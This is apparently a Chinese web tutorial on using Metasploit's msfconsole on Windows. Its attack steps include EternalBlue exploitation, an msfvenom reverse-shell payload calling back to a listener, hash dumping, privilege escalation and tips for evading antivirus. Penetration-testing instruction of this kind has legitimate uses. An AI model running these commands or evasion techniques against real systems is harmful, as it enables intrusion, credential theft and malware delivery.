您的当前位置:首页 > 娱乐 > windows msfconsole 正文

windows msfconsole

时间:2026-10-17 04:36:59 来源:网络整理 编辑:娱乐

核心提示

在Windows上折腾Metasploit,很多人第一步就卡住了——装完框架,敲下msfconsole,结果弹出一堆Ruby报错,或者干脆提示“不是内部或外部命令”。这事儿我遇到过不下十次,帮人远程排

在Windows上折腾Metasploit,很多人第一步就卡住了——装完框架,敲下msfconsole,结果弹出一堆Ruby报错,或者干脆提示“不是内部或外部命令”。这事儿我遇到过不下十次,帮人远程排查的时候,发现八成问题出在安装方式上。官方那个.exe安装包看着省事,实际上经常把依赖装得乱七八糟,尤其是Windows Defender还会偷偷删掉某些payload文件。后来我干脆改用WSL或者直接下便携版,省心得多。

假设你已经把Metasploit装好了,不管是通过官方安装器还是手动解压。打开CMD或者PowerShell,输入msfconsole,等个十几秒——第一次启动会慢,因为它要初始化数据库和模块缓存。看到那个经典的ASCII艺术字和msf6 >提示符,才算真正进了门。别急着敲命令,先看看右下角有没有显示“Connected to msf database”,没有的话后面搜索模块会慢得让你想砸键盘。

Windows下有个坑:默认的PostgreSQL服务可能没启动。我见过有人重启电脑后msfconsole就卡在“Connecting to database”那一步,等五分钟都没动静。解决办法很简单,去服务管理器里把postgresql-x64-xx服务设为自动启动,或者手动net start postgresql-x64-xx。这步不做,你每次都得等它超时重试,烦得很。

进去之后,先跑个db_status确认数据库连接正常。然后试试search ms17-010,这是永恒之蓝的模块编号。如果秒出结果,说明环境没问题。要是转圈半天才出,检查一下是不是杀软在实时扫描模块目录。我习惯把Metasploit整个文件夹加到Defender的排除项里,不然search命令能慢到让你怀疑人生。

实际用起来,Windows版的msfconsole和Linux版功能几乎一样,但路径写法要注意。比如use exploit/windows/smb/ms17_010_eternalblue之后,设置RHOSTS的时候别用192.168.1.1/24这种CIDR格式——Windows下有时候解析会出问题,老老实实写单个IP或者用文件导入。还有set PAYLOAD windows/x64/meterpreter/reverse_tcp,注意x64和x86别搞混,目标系统是64位你就得用64位的payload,否则连上了也弹不出shell。

有个细节挺有意思:Windows下生成的payload文件,比如msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exe,这个shell.exe放到目标机器上运行,Defender大概率会直接隔离。你得做免杀处理,或者干脆用PowerShell的-EncodedCommand方式投递。我试过最粗暴的办法是加个UPX壳,但现在的杀软早就能脱壳查了。真正管用的还是改特征码或者用Cobalt Strike的artifact kit,不过那是另一个话题了。

用msfconsole做内网渗透的时候,Windows平台有个天然优势:你不需要额外装wine或者虚拟机,直接就能用run post/windows/gather/hashdump抓哈希。但注意,如果目标开了Credential Guard,抓出来的哈希是空白的。这时候别死磕,转去post/windows/gather/enum_logged_on_users看看当前登录用户,有时候能捡到明文密码存在注册表里。

最后说个真实案例。上个月帮朋友测试一个内部系统,Windows Server 2012 R2,打了补丁但没重启。我用msfconsole加载exploit/windows/local/ms16_032_secondary_logon_handle_privesc,设置好session,run之后直接弹了个SYSTEM权限的shell。朋友在旁边看着说“这就完了?”——对,Windows下提权有时候就这么干脆,前提是你得知道哪个补丁没生效。所以别光记模块名,多看看show options里的默认值,很多参数不改也能打通,但改了成功率翻倍。

要是你刚接触msfconsole,别一上来就想着拿域控。先在本地虚拟机里开个没打补丁的Windows 7,用ms17-010练手,把sessions -i、background、load kiwi这几个命令敲熟。Windows下的终端配色和快捷键跟Linux不太一样,比如Ctrl+C有时候会直接退出msfconsole而不是中断当前任务,习惯就好。